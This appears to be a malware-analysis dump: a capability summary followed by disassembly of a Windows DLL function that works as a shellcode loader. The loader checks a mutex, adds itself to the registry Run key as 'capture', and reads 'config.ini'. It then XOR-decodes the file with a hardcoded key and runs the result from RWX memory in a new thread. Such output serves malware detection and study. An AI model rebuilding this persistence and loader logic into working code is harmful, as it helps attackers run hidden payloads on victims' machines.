Function at 0x10004f30
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create thread
Encode data using xor
Execute shellcode via indirect call
Persist via run registry key
Read file on windows
Set current directory
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x214
mov eax, dword [0x10027040]
xor eax, esp
mov dword [esp + 0x210], eax
push str.MyUniqueMutexName
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10005023
sub esp, 0x24
lea eax, [esp + 0x28]
mov dword [esp + 0x1c], eax
movaps xmm0, xmmword [0x10021080]
movups xmmword [esp + 8], xmm0
mov dword [esp + 0x20], 0
mov dword [esp + 0x18], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea edi, [esp + 8]
test eax, eax
jne 0x10004feb
push 0x104
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
call fcn.10008c77
add esp, 4
lea eax, [eax*2 + 2]
push eax
push edi
push 1
push 0
push str.capture
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
push edi
call dword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchRemoveFileSpec]
push edi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x100214a7
push str.config.ini
push edi
call fcn.10007df1
add esp, 0xc
test eax, eax
je 0x10005045
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.10006749
xor eax, eax
add esp, 0x214
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp], esi
push 2
push 0
push dword [esp + 0x10]
call fcn.1000821e
add esp, 0xc
push dword [esp + 8]
call fcn.10008541
add esp, 4
mov ebx, eax
push 0
push 0
push dword [esp + 0x10]
call fcn.1000821e
add esp, 0xc
push ebx
call fcn.10008b96
add esp, 4
mov edi, eax
push dword [esp + 8]
push ebx
push 1
push eax
call fcn.1000800d
add esp, 0x10
push dword [esp + 8]
call fcn.10007bb5
add esp, 4
test ebx, ebx
je 0x10005155
lea ecx, [ebx - 0x21]
xor eax, eax
cmp ecx, 0xffffffe7
jb 0x100050df
mov eax, ebx
cmp ebx, 0x20
jae 0x10005129
and eax, 0xfffffff8
xor ecx, ecx
nop dword [eax + eax]
movsd xmm0, qword [ecx + str.jcjx1wIA9LMnjPnkEhEvSlTet0RAswrT]
movsd xmm1, qword [edi + ecx]
xorps xmm1, xmm0
movlps qword [edi + ecx], xmm1
add ecx, 8
cmp eax, ecx
jne 0x100050c0
cmp ebx, eax
je 0x10005155
mov ecx, eax
or ecx, 1
test bl, 1
je 0x100050fb
mov edx, eax
and edx, 0x18
movzx edx, byte [edx + str.jcjx1wIA9LMnjPnkEhEvSlTet0RAswrT]
xor byte [edi + eax], dl
or eax, 1
cmp ebx, ecx
je 0x10005155
nop
mov ecx, eax
and ecx, 0x1f
movzx ecx, byte [ecx + str.jcjx1wIA9LMnjPnkEhEvSlTet0RAswrT]
xor byte [edi + eax], cl
lea ecx, [eax + 1]
and ecx, 0x1f
movzx ecx, byte [ecx + str.jcjx1wIA9LMnjPnkEhEvSlTet0RAswrT]
xor byte [edi + eax + 1], cl
add eax, 2
cmp ebx, eax
jne 0x10005100
jmp 0x10005155
movups xmm0, xmmword [edi]
movups xmm1, xmmword [edi + 0x10]
xorps xmm0, xmmword [0x10021090]
xorps xmm1, xmmword [0x100210a0]
and eax, 0xffffffe0
movups xmmword [edi], xmm0
movups xmmword [edi + 0x10], xmm1
cmp ebx, eax
je 0x10005155
mov ecx, eax
or ecx, 1
cmp ebx, ecx
jne 0x10005100
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, eax
push ebx
push edi
push eax
call fcn.100051e0
add esp, 0xc
push 0
push 0
push 0
push ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push 0x8000
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call fcn.10008203
add esp, 4
push dword [esp]
call esi
jmp 0x1000502a